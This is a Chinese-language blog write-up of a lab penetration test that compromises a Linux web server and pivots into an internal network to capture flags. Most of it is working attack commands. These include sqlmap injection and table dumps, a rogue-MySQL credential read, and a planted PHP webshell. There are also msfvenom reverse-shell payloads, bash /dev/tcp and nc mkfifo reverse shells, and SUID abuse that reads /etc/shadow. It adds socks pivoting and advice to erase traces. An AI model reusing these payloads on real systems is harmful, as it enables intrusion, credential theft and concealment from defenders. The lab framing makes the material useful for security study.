记录一次linux内网完整渗透测试

21年六月中做完的项目文章,流程概览
记录一次linux内网完整渗透测试_第1张图片
记录一次linux内网完整渗透测试_第2张图片

在这里插入图片描述

信息发现与收集

寻找网域内主机目标

注意,web机每关机开机一次都要重新启动php5.3

kali机中命令(在10的网域内寻找)

nmap -sn 192.168.10.0/24

netdiscover -i eth0 -r 192.168.10.0/24

记录一次linux内网完整渗透测试_第3张图片

记录一次linux内网完整渗透测试_第4张图片

记录一次linux内网完整渗透测试_第5张图片

收集端口信息

masscan -p 1-65535 192.168.10.103 --rate=1000

nmap -sC -p 8888,3306,888,21,80 -A 192.168.10.103 -oA ddd4-port

记录一次linux内网完整渗透测试_第6张图片

记录一次linux内网完整渗透测试_第7张图片

gobuser 的用法

这里用作网站目录扫描

gobuster dir -u http://www.ddd4.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x 'php,zip,html,rar' -o ddd4.log --wildcard | grep -v 10430 | grep -v "Size: 49" | grep -v "Size: 10280" | grep -v "Size: 11807"

操作界面

记录一次linux内网完整渗透测试_第8张图片

whatweb扫描基本信息

image-20210616124111418

确认网站用的是稻壳模板后网上下载稻壳模板,了解其构造和做代码审计,为之后渗透做准备

这里下载模板后在本地机搭建稻壳网站看看

记录一次linux内网完整渗透测试_第9张图片

安装源码完成后网站页面

记录一次linux内网完整渗透测试_第10张图片

PHP审计

记录一次linux内网完整渗透测试_第11张图片记录一次linux内网完整渗透测试_第12张图片

Sqlmap渗透测试

测试基本的注入信息
sqlmap -u http://www.ddd4.com/search?keyword=11 --tamper chardoubleencode.py -v 1 --batch -p keyword

–batch ,sqlmap注入中不会询问输入[Y/N] 全部默认Y

–p 后加指定测试的参数

–tamper(干预/篡改)后加 sqlmap 自带的编译脚本,用来转译编码敏感字符,绕过waf等,操作例子的 chardoubleencode.py 脚 本是对注入的字符进行两次 hash 加密

记录一次linux内网完整渗透测试_第13张图片

提示:如果是这种情况

记录一次linux内网完整渗透测试_第14张图片

可删除后重新注入

记录一次linux内网完整渗透测试_第15张图片

获得结果如下

记录一次linux内网完整渗透测试_第16张图片

查询网站的所有数据库名
sqlmap -u http://www.ddd4.com/search?keyword=11 --dbms mysql -v 1 --tamper chardoubleencode.py --dbs --batch

记录一次linux内网完整渗透测试_第17张图片

查出了information_schema,test,www_ddd4_com三个库名

查询指定库包含的表名

查询www_ddd4_com库中的所有表

sqlmap -u http://www.ddd4.com/search?keyword=11 --dbms mysql -v 1 --tamper chardoubleencode.py -D www_ddd4_com --tables

操作界面

记录一次linux内网完整渗透测试_第18张图片

查询指定库的表的里面的数据信息
sqlmap -u http://www.ddd4.com/search?keyword=11 --tamper chardoubleencode.py -v 1 --batch -p keyword -D www_ddd4_com -T doc_user --dump

–dump 转储查询到的所有信息,通常是拖库操作(违法)慎用

记录一次linux内网完整渗透测试_第19张图片

记录一次linux内网完整渗透测试_第20张图片

查询到关键信息

用户:admin

密文:9430q1yc97c94304a6sy04ef5f8b2l42f136e0s8d423d5d0uj259f85af8n0547x28f21yc97c

//这里查询出的密文是密码明文经过某种加密后存储到数据库里的,一般不能直接使用

在解密平台尝试后密文无法解密,大概率是网站的程序自加密

翻回之前的网站源码审计,找到关于加密相关的代码

记录一次linux内网完整渗透测试_第21张图片

记录一次linux内网完整渗透测试_第22张图片

分析关于加密的代码后发现密文不可逆

对策:利用改加密程序生成密文替换原来的。需要连接网站数据库并且有数据库权限。

尝试sqlmap注入获取数据库密码

sqlmap -u http://www.ddd4.com/search?keyword=11 --dbms mysql -v 1 --tamper chardoubleencode.py -passwrods

记录一次linux内网完整渗透测试_第23张图片

当前权限不够无法操作

获取数据库账密

利用mysql客户端读取文件漏洞通过工具Rogue-MySql-Server得到数据库账密

http://www.ddd4.com/setup/checkdb.php?dbname=mysql&uname=root&pwd=123456&dbhost=192.168.31.227&action=chkdb

uname和pwd内容任意,dbhost为kali机ip

记录一次linux内网完整渗透测试_第24张图片

反弹得到结果

image-20210618114633402

把获取的数据存储到mysql.log

记录一次linux内网完整渗透测试_第25张图片

记录一次linux内网完整渗透测试_第26张图片

得到mysql数据库配置的账密

账号:www_ddd4_com

密码:x4ix6ZrM7b8nFYHn

localhost

获取用户名

sqlmap -u http://www.ddd4.com/search?keyword=11 --dbms mysql -v 1 --tamper chardoubleencode.py -current-user

记录一次linux内网完整渗透测试_第27张图片

www_ddd4_com@localhost

登录数据库

mysql -h192.168.31.93 -uwww_ddd4_com -px4ix6ZrM7b8nFYHn

192.168.31.93为web服务器ip

记录一次linux内网完整渗透测试_第28张图片

可以找到存储密文的位置,需要把密文替换即可登录

记录一次linux内网完整渗透测试_第29张图片

自加密明文

本地稻壳模板代码审计,找到稻壳的加密程序,并且自己将已知明文加密

找到加密部分代码

记录一次linux内网完整渗透测试_第30张图片

将其取出,并稍加修改(下图添加的14,15行)

记录一次linux内网完整渗透测试_第31张图片

BP抓包得到加密的字符串

image-20210618163501101

得到明文’‘admin“经稻壳加密程序后的密文

“33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0”

登录mysql替换密文

update doc_user set pwd='33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0' where id=1;

image-20210618174625999

登录后台

后台管理权限上号,芜湖起飞

记录一次linux内网完整渗透测试_第32张图片

在网站编辑里写入一句话

这里是在网站的www.ddd4.com/index.php 栏下写入的一句话,所以菜刀

记录一次linux内网完整渗透测试_第33张图片

记录一次linux内网完整渗透测试_第34张图片

上菜刀

记录一次linux内网完整渗透测试_第35张图片

尝试通过菜刀虚拟控制台执行命令,权限不够

记录一次linux内网完整渗透测试_第36张图片

metasploit反弹shell

生成载荷

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.227 LPORT=13777 -f elf >FTshell

LHOST为 kali 机 IP,elf为一种文件格式,这里的生成文件命名FTshell

菜刀上传

image-20210618223904199

只不过现在文件chmod权限不够,无法进行更多操作,之后需要提权

先布置msf监听端口(命令可以批量操作)

use multi/handler

set payload linux/x86/meterpreter/reverse_tcp

set LHOST kali机IP

set lport 13777

exploit

网站执行反弹命令 //这里用到待会儿的 bypass_disablefunc 工具

http://www.ddd4.com/bypass_disablefunc.php?cmd=./Fshell&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

记录一次linux内网完整渗透测试_第37张图片

不过现在上传的文件马chmod权限不够(0666)无法进行有效操作,这里就需要提权

这里的提权是给上传的文件提权,最终目的是使得文件为777权限(被任意用户个人,群组等可以任意读写操作)然后可以执行文件反弹shell会话到msf,注意,这里反弹回来后建立的会话权限也只是普通的用户权限

关于chmod权限说明https://blog.csdn.net/u013197629/article/details/73608613

bypass_disablefunc提权

通过菜刀上传工具bypass_disablefunc 执行cmd命令,最大的缺点是跳转特别特别慢,这里作为提权使用。

在www.ddd4.com/phpinfo.php中看disable_functions参数

记录一次linux内网完整渗透测试_第38张图片

disable_functions:过滤的php危险命令参数,详解https://blog.csdn.net/qq_20757489/article/details/86506159

工具 bypass_disablefunc putenv 同样有执行系统权限的功能,在这里的php里没有被过滤

记录一次linux内网完整渗透测试_第39张图片

工具的php文件和so库上传过去

记录一次linux内网完整渗透测试_第40张图片

php工具里的说明代码

bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so

改成

bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

这便成为了操作代码,加粗为使用部分,工具缺点是使用时网页跳转比较慢。

举个栗子

查看网卡信息ifconfig,这里不同浏览器可能效果不一样,我这里edge不可以,火狐和谷歌浏览器都可以回显

http://www.ddd4.com/bypass_disablefunc.php?cmd=ifconfig&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

记录一次linux内网完整渗透测试_第41张图片

网站页面BP抓包后编码(Ctrl+U)

www.ddd4.com/bypass_disablefunc.php?cmd=chmod+777+FTshell&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

记录一次linux内网完整渗透测试_第42张图片

文件成功从0666提权到0777

执行反弹命令建立会话

/bypass_disablefunc.php?cmd=./FTshell&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

记录一次linux内网完整渗透测试_第43张图片

getuid可以看到是1001权限,这里的提权是给上传的文件提权,最终目的是使得文件为777权限(被任意用户个人,群组等可以任意读写操作)然后可以执行文件反弹shell会话到msf,注意,这里反弹回来后建立的会话权限也只是普通的用户权限

image-20210619113710818

不过msf连接的shell会在按左右键或者汉字时会有乱码

记录一次linux内网完整渗透测试_第44张图片

需要去除乱码

建立nc会话

kali建立新窗口用netcat监听

nc -lvnp 8888

msf里用shell反弹监听建立会话 下面的ip为kali本地机

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.31.16 8889 >/tmp/f

记录一次linux内网完整渗透测试_第45张图片

成功反弹nc会话

记录一次linux内网完整渗透测试_第46张图片

去除shell显示乱码问题

似乎是只有旧版kali(2020版本能用这个方法),新版kali网上有不少其他方法去乱码

连接建立nc会话后,在nc会话中操作

python -c 'import pty;pty.spawn("/bin/bash")'             //会话里设置python shell
crtl +z                                                   //把nc会话先暂停放到后台
stty raw -echo                                             
fg                                                        //重新调用nc会话

记录一次linux内网完整渗透测试_第47张图片

消除乱码

Linux信息收集脚本工具

LinEnum

作用:来收集系统的信息 如 特殊文件的权限 suid 文件信息 网络端口信息,建立 WEB 服务器

文件所在路径下使用

python -m SimpleHTTPServer 80

操作界面

192.168.31.16为kali机ip

记录一次linux内网完整渗透测试_第48张图片

记录一次linux内网完整渗透测试_第49张图片

在nc会话交互界面

cd /tmp                 //到tmp目录下
wget http://192.168.31.16/LinEnum.sh             //下载下来.sh文件到kali机
sh LinEnum.sh > LX.txt        //执行文件并把结果输出保存到新建的txt里

操作界面

记录一次linux内网完整渗透测试_第50张图片

操作指令日志

记录一次linux内网完整渗透测试_第51张图片

可以找到敏感信息(账密)

记录一次linux内网完整渗透测试_第52张图片

权限敏感文件

记录一次linux内网完整渗透测试_第53张图片

有效信息

image-20210619192928237

记录一次linux内网完整渗透测试_第54张图片

收集信息

### SOFTWARE #############################################

[-] Sudo version:
Sudo version 1.8.16


[-] MYSQL version:
mysql  Ver 14.14 Distrib 5.6.47, for Linux (x86_64) using  EditLine wrapper

[-] Apache version:
Server version: Apache/2.4.43 (Unix)
Server built:   Apr 10 2020 02:21:46

linux-exploit-suggester

作用:检测是否存在提权 cve 漏洞

操作界面

记录一次linux内网完整渗透测试_第55张图片

记录一次linux内网完整渗透测试_第56张图片

linuxprivchecker.py

作用:检测权限信息

操作界面

记录一次linux内网完整渗透测试_第57张图片

列出来常用的suid命令

记录一次linux内网完整渗透测试_第58张图片

[+] Related Shell Escape Sequences...
vi-->       :!bash
vi-->       :set shell=/bin/bash:shell
vi-->       :!bash
vi-->       :set shell=/bin/bash:shell
awk-->      awk 'BEGIN {system("/bin/bash")}'
find-->     find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' \;
perl-->     perl -e 'exec "/bin/bash";'

查找suid文件命令

find / -type f -perm -u=s 2>/dev/null

记录一次linux内网完整渗透测试_第59张图片

提权操作

suid提权

提权原理:(6条消息) Linux下用SUID提权_谢公子的博客-CSDN博客_suid提权

image-20210619225525014

image-20210619221544638

比如这里的shadow只有root用户有权限读取和操作,普通用户是作Permission denied(权限被拒绝)

但是可以用suid提权进行操作

touch test
find test -exec cat /etc/shadow \;

记录一次linux内网完整渗透测试_第60张图片

也可以用root权限执行其他命令

鲜明对比

image-20210619225525014

记录一次linux内网完整渗透测试_第61张图片

sudo提权

记录一次linux内网完整渗透测试_第62张图片

宝塔面版提权

利用菜刀获得目标机的宝塔网址以及账密

记录一次linux内网完整渗透测试_第63张图片

记录一次linux内网完整渗透测试_第64张图片

记录一次linux内网完整渗透测试_第65张图片

结合netcat提权

利用https://www.moonsec.com/archives/647的资料

bash -i >& /dev/tcp/192.168.31.16/8881 0>&1

记录一次linux内网完整渗透测试_第66张图片

反弹回shell,这里的会话是管理员权限,这点很重要

记录一次linux内网完整渗透测试_第67张图片

执行反弹后可以删除任务,避免留下痕迹

msf曲线二重提权

msf原权限 1001普通用户权限

image-20210620122511399

退出msf当前会话,在宝塔提权的操作界面找到msf的反弹载荷文件的位置,并且运行

msf开启监听,成功建立root权限会话

记录一次linux内网完整渗透测试_第68张图片

root权限可以执行查看隐私文件操作,比如shadow和hosts等

记录一次linux内网完整渗透测试_第69张图片

发现有绑定的ddd5网址靶机,这里我们kali机也绑定上这个hosts,准备渗透

注意:后来有ddd5的靶机B的IP从144变成169了,所以靶机A和kali机关于www.ddd5.com的hosts也相应改为10.10.10.169

记录一次linux内网完整渗透测试_第70张图片

记录一次linux内网完整渗透测试_第71张图片

内网进阶渗透

msf开启内网路由代理

run get_local_subnets _subnets    //查看路由和网段
run autoroute -s 10.10.10.0/24    //添加路由
run autoroute -p        //查看路由

记录一次linux内网完整渗透测试_第72张图片

sock4内网代理模块

msf5 exploit(multi/handler) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > show options
msf5 auxiliary(server/socks4a) > set SRVPORT 2333
msf5 auxiliary(server/socks4a) > exploit

记录一次linux内网完整渗透测试_第73张图片

这里端口设为2333

记录一次linux内网完整渗透测试_第74张图片

现在已经设置好内网代理

不过sock4代理比较慢

proxychains3代理

开启端口隧道代理来访问内网

vim /etc/proxychains.conf

sock4 kali本机IP 之前的端口

记录一次linux内网完整渗透测试_第75张图片

nmap扫一下靶机B端口

记录一次linux内网完整渗透测试_第76张图片

proxychains firefox www.ddd5.com          //这里proxychains3也可以

成功内网代理跨网域

192.168.31.16的kali机-------代理访问------->10.10.10.169的网站

不过操作时不太稳定

记录一次linux内网完整渗透测试_第77张图片

EW

Index of /distribution (earthwormcentral.org)

使用文章:通过SOCKS代理渗透整个内网_云野安全-CSDN博客

实战经验:https://www.cnblogs.com/kuangke/p/11133693.html

=======

在宝塔提权的root用户权限的tmp文件夹下载LinEnum80端口传输的SOCKS5压缩包

wget http://192.168.31.16/ssocks-0.0.14.tar.gz
tar -zxvf ssocks-0.0.14.tar.gz
tar -zxvf ssocks-0.0.14.tar.gz   
cd ssocks-0.0.14           
./configure && make 
cd src

image-20210621113648255

sock5内网代理模块

注:sock4和sock5的区别

1、socks4和socks5都于socks协议,只是由于所支持的具体应用不同而存在差异。

2、socks4代理只支持TCP应用,而socks5代理则可以支持TCP和属UDP两种应用。

3、socks5代理还支持各种身份验证机制,服务器端域名解析等,而socks4代理没有,所以通常对外开放的socks代理都是socks4代理,因此,UDP应用通常都不能被支持。也就是说,socks4能干的socks5都可以干,反过来就不行了。

注意:这里的ssocks-0.0.14.tar.gz压缩文件在我的两台kali机上解压后都不能正常编译,目前推测是gcc版本问题(可能版本太新了),我是将这个压缩包放在项目五乌版图服务器上可以正常解压后编译,然后把编译好的文件拿来用

tar -zxvf ssocks-0.0.14.tar.gz   //解压ssocks5压缩包
cd ssocks-0.0.14           //进入解压后的文件
./configure && make        //使用其中的configure编译生成执行文件
cd src

记录一次linux内网完整渗透测试_第78张图片

编译后进入src文件

记录一次linux内网完整渗透测试_第79张图片

image-20220205224434084

这里要用到编译出来的rcsocks

执行命令①

./rcsocks -l 2233 -p 1080 -vv    

在本地为192.168.10.10 IP的kali机开启2233端口,把所有2233端口收到的信息都转发到自己的1080端口

执行命令②

把刚才的sock5的压缩包文件用连上有root权限的nc的shell传到web服务器靶机后基操解压后编译(可以传已经编译好的)

/rssocks -vv -s kali机IP:1080

这里是把内网跳板机 响应 的数据信号都《=====》到kali机IP的1080端口上

双方都执行监听后这个端口转发就做好了

画了个原理示意图
(丑不拉几,能看就行)
记录一次linux内网完整渗透测试_第80张图片

③在kali机的 /etc/proxychains.conf 文件里把之前什么socks4注释掉,然后添加socks5 kali机IP

记录一次linux内网完整渗透测试_第81张图片

还有个很有意思的python临时搭建http服务(只要是python3后的版本都可以)

image-20220205230152728

然后就万事俱备,可以用192.168.10.xx(路由器分配的LAN个体IP)的kali机子访问10.10.10.XXX(内网段IP)的内网服务器了

这里访问内网的www.ddd5.com网址前要先在kali机本地的hosts文件里绑定 www.ddd5.com 内网服务器IP

记录一次linux内网完整渗透测试_第82张图片

经过测试socks5的代理非常稳定好用(如果出现超时异常就是内网服务器的时间与你本地shell的机子时间不一样,改成近似时间就行了)

也可以代理来用nmap扫描内网服务器的端口

记录一次linux内网完整渗透测试_第83张图片

也可以不用proxychains,③直接在浏览器设置socks5代理,设置好后照样可以端口转发访问内网服务器

kali机设置记录一次linux内网完整渗透测试_第84张图片

正常访问

记录一次linux内网完整渗透测试_第85张图片

③本地物理机(LAN分配192.168.10.xxx)设置后正常访问内网服务器(10.10.10.169)(要访问ddd5网站的话前提也是要在本地hosts绑定网址)

记录一次linux内网完整渗透测试_第86张图片

进入ddd5.com后台admin 123456登录后模板上传准备好的 xxxxx.zip 压缩包(是加入各种大小马的网站模板),上传压缩包后会自动解压

记录一次linux内网完整渗透测试_第87张图片

里面的大小马

cmd

http://www.ddd5.com/content/templates/xxxx/1.php?cmd=phpinfo();

大马

http://www.ddd5.com/content/templates/xxxxx/xxxx.php

http://www.ddd5.com/content/templates/xxxxxx/shell.php?cmd=ls

比如这里执行小马

记录一次linux内网完整渗透测试_第88张图片

蚁剑的代理设置(这里是因为之前上传的网站模板有一句话木马,密码为cmd,执行代理后可以供菜刀蚁剑连接)蚁剑添加shell时网站url要完整,不要忘http://

记录一次linux内网完整渗透测试_第89张图片

记录一次linux内网完整渗透测试_第90张图片

菜刀或者浏览器的代理还可以是用小彩帽,配置小彩帽代理后,把菜刀和浏览器的exe文件移动过来,在小彩帽内打开就能代理执行

记录一次linux内网完整渗透测试_第91张图片

彩帽代理后菜刀可以连接内网的ddd5网站(这里是因为之前上传的网站模板有一句话木马,密码为cmd,供菜刀蚁剑连接)

记录一次linux内网完整渗透测试_第92张图片

执行代理访问内网服务器

记录一次linux内网完整渗透测试_第93张图片

发现8080端口线索,但未知账密不能登录

记录一次linux内网完整渗透测试_第94张图片

但可以推测有phpmyadmin

记录一次linux内网完整渗透测试_第95张图片

8080端口下的phpmyadmin可以用root和上上面的默认密码登录

登录后找到WDCP用户的账密

记录一次linux内网完整渗透测试_第96张图片

加密的密文我这里用cmd5解密出密码

这里也可以“推测”出了密码(有点强行)

然后可以登录WDCP(如果登录超时或者不稳定就是内网服务器的时间与你主机时间不同步,把这两时间改的相近就可以正常登录了)

记录一次linux内网完整渗透测试_第97张图片 记录一次linux内网完整渗透测试_第98张图片

这里本身是可以和之前宝塔一样直接反弹nc的会话就是root权限,但是这里的命令执行不允许操作这种反弹shell命令(会警告并记录日志,随手你记录完我就清也没啥用)但拿到了后台权限搞到后面会话的方式多的是,这里我们选择ssh的会话链接

生成和下载密钥

记录一次linux内网完整渗透测试_第99张图片

下载ssh登录密钥文件后放到kali里更改到chmod 600的权限(试了如果提权到777的话会出现下图报错,密钥文件不能使用)

记录一次linux内网完整渗透测试_第100张图片

权限更改为600时反而能够正常使用

注意,需要proxychains代理下语句

proxychains ssh [email protected] -i sshkey_wdcp

正常连接会话,并且为root权限

记录一次linux内网完整渗透测试_第101张图片

拿flag

用ssh文件远控shell后拿到第一个(这个象征拿到内网服务器的最高权限)

记录一次linux内网完整渗透测试_第102张图片

用之前菜刀上传文件然后提权(单纯的文件提权)的反弹shell,连接上的msf获取第二个flag

这里要换到host123用户,然后拿flag (这个象征拥有web服务器的较高权限)

记录一次linux内网完整渗透测试_第103张图片

第三个flag是nc拿的,这个是当时拿到宝塔后台权限后在宝塔设定给计划任务的反弹shell,反弹过来是root权限(这个象征你完全拿到web服务器的最高权限)

记录一次linux内网完整渗透测试_第104张图片
OVER

你可能感兴趣的:(内网渗透项目,网络安全,linux,mysql,ubuntu,web安全)